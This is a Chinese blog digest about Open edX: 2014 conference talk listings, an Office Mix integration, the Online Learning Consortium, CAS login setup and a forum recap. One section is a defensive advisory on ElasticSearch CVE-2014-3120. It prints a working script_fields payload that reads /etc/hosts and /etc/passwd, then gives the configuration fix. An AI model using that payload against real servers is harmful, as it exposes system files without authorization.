2014 Open edX 会议演讲资料

以下内容均来自https://openedx.atlassian.net/wiki/display/OPEN/Open+edX+Conference+Presentations,我们已将会议视频转存到优酷等本地服务方便国内用户观看。

第一届Open edX会议取得了巨大的成功,我们有很多有趣的演讲。以下是演讲的讲义和视频,方便你在任何时候观看。

Keynotes & Breakout Sessions

Speaker(s)
Title
Date & Time
Track
Location
Slides
Video
Beth Porter, Ned Batchelder The View from edX Nov 18, 1:00 PM Keynote Radcliffe Gym Google Slides Youku
Deepak Phatak Technology Enabled Learning Ushering in the MOOCs era through SWAYAM Nov 18, 1:45 PM Keynote Radcliffe Gym PowerPoint Youku
Yasumasa Watanabe, Hitoshi Kawasaki Open edX for mobile optimization: The Japanese MOOC ‘gacco’ Nov 18, 2:30 PM Hosting and Adopting Byerly PDF YouTube
Bertrand Marron Story of APIs Nov 18, 2:30 PM APIs and Integrations Radcliffe Gym Slideshare Youku
Lorena Barba Teaching Numerical Computing to STEM students with Open edX Nov 18, 2:30 PM Research and Pedagogy Sheerr Figshare YouTube
Andy Parsons Powered by Open edX Nov 18, 3:10 PM Hosting and Adopting Byerly PDF YouTube
Xavier Antoviaque, Calen Pennington XBlock Tutorial and Demos Nov 18, 3:10 PM APIs and Integrations Radcliffe Gym Web Youku
Piotr Mitros MOOCs, Learning, and Pedagogy Nov 18, 3:10 PM Research and Pedagogy Sheerr Google Slides YouTube
Feanil Patel Hosting Architecture at edX Nov 18, 3:50 PM Hosting and Adopting Byerly Google Slides YouTube
Phil McGachey LTI Integration Nov 18, 3:50 PM APIs and Integrations Radcliffe Gym PowerPoint Youku
Philippe Chiu Analytics with Splunk Nov 18, 3:50 PM Research and Pedagogy Sheerr KeynoteSlideshare YouTube
Gerald Sussman An Educational Vision: The Message of Programming Nov 19, 10:00 AM Keynote Radcliffe Gym PDF Youku
Ignacio Despujol Open edX Onsite Nov 19, 1:00 PM Hosting and Adopting Byerly PDF YouTube
Daniel Hickey, Kerri Lemie, Damian Ewens, Lorena Barba, Michael Amigot Open Badges Nov 19, 1:00 PM Developing and Innovation Sheerr Figshare YouTube
Andy Armstrong Open edX + UI Nov 19, 1:00 PM Architecture Radcliffe Gym Google Slides YouTube
Karl Mehta, Afshin Shafie Open edX Cloud Services Nov 19, 1:40 PM Hosting and Adopting Byerly PDF YouTube
John Cox Third-Party Auth Nov 19, 1:40 PM Developing and Innovation Sheerr PDF YouTube
Diana Huang Using the Shopping Cart Nov 19, 1:40 PM Architecture Radcliffe Gym Google Slides YouTube
Carson Gee, Peter Pinch Git-based Courses Nov 19, 2:20 PM Hosting and Adopting Byerly PDFRemark.js YouTube
Jason Bau Direct access to Courseware Nov 19, 2:20 PM Developing and Innovation Sheerr PDF YouTube
Carlos Andrés Rocha Open edX Analytics Nov 19, 2:20 PM Architecture Radcliffe Gym Google Slides YouTube

 

Lightning Talks

Speaker
Title
Slides
Video
Xavier Antoviaque jQuery-XBlock: Loading XBlocks Remotely Web YouTube
Samuel Soubeyran Social Interactions & Gamification in MOOCs PDF YouTube
Carlos Turro Developing XBlocks @ UPValencia PowerPoint YouTube
Ben Weeks LaTeX2edX PDF YouTube
Nate Aune Open edX and Docker Keynote YouTube
Felipe Montoya

Powering white label initiatives through open edX microsites

PDF YouTube
Joe Blaylock

(partly) Self-Service Certificates

OpenOffice YouTube
Steven Burch XBlock Factory Google Slides YouTube
Justin Goodhew Accredible Google Slides YouTube
Dee Kanejiya Cognii Keynote YouTube
Julie Mullen

Invitation to a Conversation about Adaptive Learning Tools for Open edX

no slides YouTube
Jonathan Peter edX through the eyes of a non-developer Google Slides YouTube
Nikhil Dubbaka rePatcha Google Slides YouTube
Dave Ormsbee Where do Grades Come From? Google Slides YouTube
Chris Dodge McKinsey Academy Technical Review PDF YouTube
Molly de Blanc Free, Libre, Open Source edX Google Slides YouTube

 

Hackathon Demos

Unfortunate, the video for the hackathon demos didn’t come out very well, but it’s better than nothing!

Video Part 1: https://plus.google.com/113815792917900734665/posts/eVpYQUEejTm

Time
Project
Collaborators
Slides/Other
 1:22 Git/Split  Ross Strader, Nimisha Asthagiri Git/Split google doc
7:12 Course graphing/versioning Steve Vergennes, Lars, Rama, Adam
10:42 (no audio) Studio editing of XBlocks Steve Burch
13:37 (audio resumes at 14:09) Accessible Drag & Drop Colin Fredericks, Mark Sadecki
14:46 (no audio, audio resumes at 20:20) Accessible Captions Mark Sadecki, Omar Al-Ithawi, Cole Shaw
22:50-end Student Traversal Dennis Jen, Brian Wilson Course A primary metric CountCourse B primary metric CountCourse B primary metric Avg # Events
(no recording) Require JS Optimizer in the LMS

Video Part 2: https://plus.google.com/events/ce2u86uq3vk79ds90sico69g9d0?authkey=COH48K3Qu8vsSg

Time
Project
Collaborators
Slides/Other
0:00 (in progress, no video) Toward Learner Profiles Frances Botsford
3:09 Multi-Containerizing EdX with Docker
6:08 Containerizing the Analytics Pipeline Gabe Mulley
8:57 (video returns at 10:20) Libsass and Grunt
12:33 XBlock Services
14:42 XBlock on Py3 DB
15:34 Cassandra Jim Abramson, Carlos Rocha
19:18 Certificate generation from grade reports
22:00 Break, Record, Document Juan, Stephane Documentation Bugs
25:07 Static code analysis/Devstack Ben Patterson, Corey
30:00 upgrade django Cale
32:00 x2go Nik

将Office Mix整合到edX

https://www.edx.org/blog/edx-microsoft-office-mix

许多教师目前使用PowerPoint幻灯片作为其对EDX课件的基础。但制作视频,更新和修订它们,并增加了互动元素可以非常耗时的。通过Office Mix,教育工作者可以轻松制作视频和在线讲座,能够提供引人入胜的体验给学生,并有对录音和录像,截屏,超链接和数字墨水的支持。

微软和edX的合作在以下方面:

  • 一个为Office Mix开发的XBlock组件。该解决方案允许教育工作者嵌入托管在OfficeMix.com的mix课件到edX课程。学生们将能在edx.org本地看到mix课件。
  • Office XBlock组件开源发布到GitHub。Open edX 部署将能根据需要重复使用或修改Office Mix XBlock。
  • 对于作为edX进一步扩展互操作性和演进的XBlock架构 的承诺。、

由于Office Mix需要PowerPoint 2013,微软将分发免费的180天试用版PowerPoint 2013 给创造edX课程的教育工作者。

Anoop Gupta,微软杰出科学家和Office Mix项目的领导,说:“我们很高兴能够与edX合作。创作在线讲座有很多困难,所以大多数教师甚至没有尝试它,无论是MOOCs或在校园混合学习方案。与edX的合作,我们的目标是普及在线讲座和课程的创作。“

在线学习联盟OLC与斯隆联盟Sloan Consortium

在教育类论文中经常可以看到斯隆联盟的报告,那么问题来了,斯隆联盟是什么?目前此机构的网站为 http://onlinelearningconsortium.org/

以下摘录修改自维基百科:

在线学习联盟,以前称为斯隆联盟(斯隆-C),是一家致力于网络教育纳入高等教育的主流的机构和专业的领导机构。在线学习联盟的目标是“帮助机构和个人教育提高质量的在线教育,规模和广度。”联盟最初资金由Alfred P. Sloan基金会,现在是一个非利润,会员持续组织。

在线学习联盟(OLC)有助于学习型组织可以根据自己独特的使命不断提高质量的在线课程,规模和广度,使教育成为日常生活中,获得和负担得起的人,在任何地方的一部分,在任何时间,在各种各样的学科。 OLC支持协作共享的知识和有效做法,以提高网络教育的学习成效,接入,支付能力的学习者和供应商,以及学生和教师的满意度。

OLC维护被广泛认可的区域成员机构,财团和行业合作伙伴提供的学位和证书课程目录;提供扬声器和顾问,以帮助机构了解网上的方法;主机会议和研讨会,以帮助落实和完善在线课程;出版OLC查看,该杂志在线学习(原期刊异步学习网络,JALN),年册的应用研究研究;并进行研究,对在线学习和论坛年度调查通知的学术,政府和私营部门的观众。 OLC还提供了一个奖励计划和有效做法的数据库,以便成员可以分享他们的经验教训。

OLC产生的想法,以改善产品,服务和标准的在线学习产业,并协助成员合作倡议。成员包括:(1)私人和公立大学和学院,社区学院及其他认可的课程和学位提供商,以及(2)组织和服务供应商,设备,并实行质量OLC原则的工具。

Open edX Conference与EDX GLOBAL FORUM

openedxcon

本月有两个edX方面的会议召开。

Open edX Conference

http://con.openedx.org/

第一届Open edX Conference为期两天,11月28-29在哈佛大学举行。这个会议主要是面向Open edX的开发以及使用,参会人员为开发者、系统管理员、教育专员以及其他想了解和使用Open edX的人员。也就是说,这个会议更关注于平台技术及使用,大家交流自己开发进展、使用心得等等。

IMG_0987

会议的资料和视频在 https://openedx.atlassian.net/wiki/display/OPEN/Open+edX+Conference+Presentations。我们将很快转存到国内。

EDX GLOBAL FORUM

http://futureedu.edx.org/

第四届EDX GLOBAL FORUM于11月19-21在波士顿大学举办。很明显这是Open edX Conference的延续,参会人员完全可以步行从哈佛到达波士顿。这个会议的参与者是edX的各个会员组织, 教育者、思想领袖、教学技术专家、研究者、梦想家和创新者在这里分享教学研究和混合式学习经验,并探讨网络教育的新趋势。通过论坛edX社区成员将有机会合作,在全球范围内塑造教育的未来。

 

 

Open edX 配置 CAS 登陆

转载自:[记录] Open edX 配置 CAS 登陆

Open edX 目前支持CAS、SSL Client Certificates、Shibboleth三种认证扩展以及多种社会化登录(博客先前有过介绍),
默认支持列表可以参照官方WIki

CAS干嘛用的,看官比我清楚,没我清楚的请立即谷歌,故下面直接操作:

1.环境:

ubuntu 12.04
edx-devstack

1 sudo su edxapp

2.更换django-cas

Continue reading

Open edX文档翻译计划

针对目前edX相关中文文档匮乏的情况,我们将开始一个新的文档翻译计划,征集更多人手参与。如果您的学校有学生或者研究生想参与这个计划的,也可以在QQ群里面联系我们。最终文档成果中将列出每个贡献者。

Open edX 用户注意防范ElasticSearch远程任意代码执行漏洞

转载自:[记录] Open edX 用户注意防范ElasticSearch远程任意代码执行漏洞

请各位edx用户 注意CVE: CVE-2014-3120
edx官方虽然意识到了这个漏洞 (configuration),并且尝试修复了 但是只在集群安装时(configuration)才会用到他们的防御代码,所以如果各位使用官方wiki 安装的将依然会是含有漏洞的版本

原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

检测方法

在线检测:

http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检测:

2 {
3   "size": 1,
4   "query": {
5     "filtered": {
6       "query": {
7         "match_all": {}
8       }
9     }
10   },
11   "script_fields": {
12     "/etc/hosts": {
13       "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
14     },
15     "/etc/passwd": {
16       "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
17     }
18   }
19 }
20 '

处理办法

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:

1 script.disable_dynamic: true

参见:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本默认关闭动态脚本

参见:

https://github.com/elasticsearch/elasticsearch/issues/5853

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

2014年教育信息化创新和发展论坛会后感

本届论坛主题是大数据,但是亮点主要在慕课和翻转课堂。确实也可以这么理解,基于慕课的学习分析是教育机构里面大数据最现实的实现。但是几十万个用户的学习行为还不是很大,一个教育区域的整体数据才称得上“大数据”。

国内慕课界的著名学者都出席了,他们在不同的慕课领域进行了实践。

清华大学孙茂松教授推动了清华学堂在线及其在C9、985的发展。他的观点:

  • 慕课在国内仍然是雷声大雨点小,在学校布道时候很多老师不知道这个概念。
  • 第一次开设慕课的工作量是普通教学的3-10倍,同时应配备3-5名助教。

上海交大介绍了开设课程联盟以及推广的经验,同时提到一门课程的制作运营费用约十万左右。

华东师大的陈玉琨教授推动建设了针对K12教育的C20联盟,对中小学提供慕课平台。他认为:

  • 使用黑板授课的历史已经有一百多年没有变革。
  • 技术的出现改变教育模式。印刷术是近代教育模式的基础,信息化技术也可以引起变革。
  • 慕课建设不可能一步到位,应从无到有 从有到全。
  • 中小学慕课中做的最好的是30-35岁教师。

北大的汪琼教授使用慕课进行中小学教师培训。她认为初次开课时,可以不进行教学设计的修改,因为主讲老师本身很难接受。可以先按照原有模式开课,先搬上网,老师在第二轮、第三轮制作时自身就会有体会和改进。

从慕课专题分论坛的会场爆满来看,高教职教基教对慕课的热情都很高。一些大学如民族大学的提问也显出了相当深入的理解。且待明年的论坛再看看雨点是否大了一些:)